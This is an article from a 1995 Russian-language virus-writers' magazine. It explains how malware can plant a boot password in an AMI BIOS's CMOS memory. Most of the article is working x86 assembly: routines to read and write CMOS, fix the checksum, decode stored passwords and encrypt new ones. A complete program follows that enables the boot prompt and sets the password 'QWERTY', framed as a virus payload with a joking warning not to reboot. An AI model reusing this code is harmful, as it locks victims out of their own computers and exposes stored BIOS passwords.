      
          ▄▄                  █
         ▀▀▀ Monthly Magazine █ For VirMakers.                  APR '95
 	 ▀██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▐▀▀▀  ██▀▀▀██
	  ▐█ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▄█▄ ▄▀▀ █▀█    ▌ █ ▄▀█ █ ▄▀▀ █▄▄   ██ ▀▀██
	   █ █ █ █▀  █▀  █    █  █▀  █ █    █ █ █ █ █ █   █     ██ █ ██
	   █ ▐ ▐ ▐   ▐▄▄ ▐▄▄  ▐  ▐▄▄ ▐▄▀     ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄▄  ██▄▄▄██
	   ▐ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄
	     (C) Copyright, 1994-95, by STEALTH group, unLtd. 	

----------------------------------------------------------------------------
                                             (C) IntMaster,Kiev-1995 

 И куда податься бедному вирусу ?
 Пообвешивают его монитороми, обшманают Adinf-ами,к астрируют фаCK-ами.
 А впрочем, не такой уж он и бедный-
			раз БОЯТЬСЯ - значит УВАЖАЮТ !
 
 Что же вирус может им противопоставить? Например - новый пароль в CMOS.

   Шо такое CMOS и чем его едят вы знаете из прошлого номера IV.
 Изложеный материал отностится к AMI BIOS 12/12/91
 (именно эту версию я с бООльшим удовольствием расHACKал).
 Впрочем все кроме алогоритма шифровки годится по видимому
 и для другим версиям AMI. Если вас интерисуют другие BIOSы,
 то рекомендую покопать их самостоятельно (исключительно
 удобен для этих целей Sourcer).

  Зашифрованый пароль находится в CMOS с 38h по 3Dh. При отсудствии
 оного в этих адресах нули.
  В байте 34h(бит 6) хранится статус пароля:
		бит 6 = 1  - пароль запрашивается при загрузке;
		бит 6 = 0  - пароль запрашивается при входе в SetUp.
  При изменении пароля необходимо коректировать вторую контрольную
 сумму CMOS (иначе никакой пакости не выйдет).Она хранится в байтах
 3Eh(High byte)-3Fh(Low byte) и представляет собой побайтовую сумму
 34h-3Dh и 40h-6Fh.
  Перейдем от слов к делу. Ниже приведены необходимые процедуры:

#########################################################
	;---------------------------------
	;--Use-for-read-byte-from-CMOS----
	;---------------------------------
	;--ARGUMENTS: al=CMOS adress -----
	;---------------------------------
	;--RETURNS: al=read byte ---------
	;---------------------------------
	read	proc near
		and al,7fh
		out 70h,al
		jmp $+2 ;i/o delay
		jmp $+2
		in  al,71h
		ret
	read	endp
#########################################################
	;---------------------------------
	;--Write-byte-to-CMOS-------------
	;---------------------------------
	;--ARDUMENTS: al=CMOS adress -----
	;	      dh=byte to write
	;---------------------------------
	;--RETURNS:                  -----
	;---------------------------------
	write	proc near
		and al,7fh
		out 70h,al
		jmp $+2
		mov al,dh
		out 71h,al
		ret
	write 	endp
#########################################################
	;---------------------------------
	;-Count-and-write-CMOS-second-----
	;-comtrol-sum-(bytes 3eh-3fh)-----
	;---------------------------------
	sum	proc near
		xor ah,ah
		xor dx,dx
		mov bl,34h
		mov cx,3Dh-34h+1
	l:	mov al,bl
		call read
		add dx,ax
		inc bl
		loop l
		mov bl,40h
		mov cx,6fh-40h+1
	ll:	mov al,bl
		call read
		add dx,ax
		inc bl
		loop ll
		mov al,3eh
		call write
		mov al,3fh
		xchg dl,dh
		call write
		ret
	sum	endp
	;Приведенный алгоритм для подсчета контрольной
	;суммы не является оптимальным.Можно порекомендовать
	;вычислять не саму контрольную суммы,а ее прирост.
	;Это позволит обеспечить совместимость с другими
	;версиями BIOS,где,возможно,сумма вычисляется в
	;других границах.
#########################################################
	;---------------------------------
	;---Coding--byte------------------
	;---------------------------------
	;--ARGUMENTS: al=byte    ---------
	;---------------------------------
	;--RETURNS: al=cripted byte-------
	;---------------------------------
	ccod proc near
		test al,0c3h
		jp n
		stc
	n:	rcr al,1
		ret
	ccod endp

#########################################################
	;---------------------------------
	;-Returns-undecode-password-------
	;---------------------------------
	;-ARGUMENTS:ES:[DI]-saving--------
	;	    for password
	;---------------------------------
	;-RETURNS: ES:[DI]->password------
	;	   ended with zero.
	;	   If first byte is
	;	   zero-no password
	;	   installed
	;---------------------------------
	decode proc near
		cld
		mov dh,37h
		mov al,dh
		call read
		and al,0f0h
		mov bl,al
	 next:	cmp dh,3dh
		je exit
		inc dh
		mov al,dh
		call read
		cmp al,0
		jz exit
		xor dl,dl
		xchg al,bl
	 f:	call ccod
		inc dl
		cmp al,bl
		jne f
		mov byte ptr es:[di],dl
		inc di
		jmp short next
	 exit:	xor al,al
		stosb
		ret
	decode	endp
#########################################################
	;--------------------------------
	;-Install-new-CMOS-password------
	;--------------------------------
	;-ARGUMENTS:DS:[SI]->password----
	;	to install.Must be
	;	string of length 6.
	;	If password has
	;	length <6.Zeroes(0)
	;	must be placed.
	;--------------------------------
	;-RETURNS:		---------
	;--------------------------------
	psw	proc near
		mov cx,6
		mov bl,37h
		mov al,bl
		call read
		and al,0f0h
		mov bh,al
	l3:	lodsb
		cmp al,0
		jnz l5
		mov bh,al
		jmp l6
	l5:	xchg al,bh
		call ccod
		xchg bh,al
		dec al
		jnz l5
	l6:	mov dh,bh
		inc bl
		mov al,bl
		call write
		loop l3
		call sum
		ret
	psw endp
#########################################################

  И наконец,приведем готовую програмку,которая устанавливает
 пароль,ну скажем 'QWERTY'.Некоторая (ненулевая) строка га-
 рантировано запишется на место пароля,однако для версий
 BIOS отличной от данной пароль будет трудно угадать ;-) 
 (т.к. применяется другой алгоритм шифровки):
          НИ В КОЕМ СЛУЧАЕ НЕ ПЕРЕЗАГРУЖАЙТЕСЬ!
    А впрочем, мое дело предупредить...

;--------------------------------------------------------
code	segment
	assume cs:code,ss:code,ds:code
	org 100h
main	proc near
begin:
	lea si,psw ;DS:[SI]->Password

	mov al,34h      ;Пароль будет запрашиваться
	mov dh,al       ;при загрузке.
	call read
	or al,01000000b
	xchg al,dh
	call write

	mov cx,6
	mov bl,37h
	mov al,bl
	call read
	and al,0f0h
	jnz ok
	mov al,10h
	;В случае,если AL=0,пароль зашифруется
	;в строку нулей(как будто и нет пароля)
	;изменим тогда AL
ok:	mov bh,al

l3:	lodsb
	cmp al,0    ;Непосредственно шифруем 
	jnz l5      ; и записываем в CMOS
	mov bh,al
	jmp l6
l5:	xchg al,bh
	call ccod
	xchg bh,al
	dec al
	jnz l5
l6:	mov dh,bh
	inc bl
	mov al,bl
	call write
	loop l3

	call sum ;Не забыть контрольную сумму!!

	ret
main	endp

read	proc near
	and al,7fh
	out 70h,al
	jmp $+2
	jmp $+2
	in  al,71h
	ret
read	endp

write	proc near
	and al,7fh
	out 70h,al
	jmp $+2
	mov al,dh
	out 71h,al
	ret
write 	endp

sum	proc near
	xor ah,ah
	xor dx,dx
	mov bl,34h
	mov cx,3Dh-34h+1
l:	mov al,bl
	call read
	add dx,ax
	inc bl
	loop l
	mov bl,40h
	mov cx,6fh-40h+1
ll:	mov al,bl
	call read
	add dx,ax
	inc bl
	loop ll
	mov al,3eh
	call write
	mov al,3fh
	xchg dl,dh
	call write
	ret
sum	endp

ccod	proc near
	test al,0c3h
	jp n
	stc
n:	rcr al,1
	ret
ccod	endp

psw	db 'QWERTY'

code	ends
	end begin
;--------------------------------------------------------
; ─────────────────────────────────────────────────────────────────────────
; ──────────────── Remember Where You Saw This Phile First ────────────────
; ───────[=] ARRESTED DEVELOPMENT +31.77.3547477 The Netherlands [=]───────
; ─────────────────────────────────────────────────────────────────────────
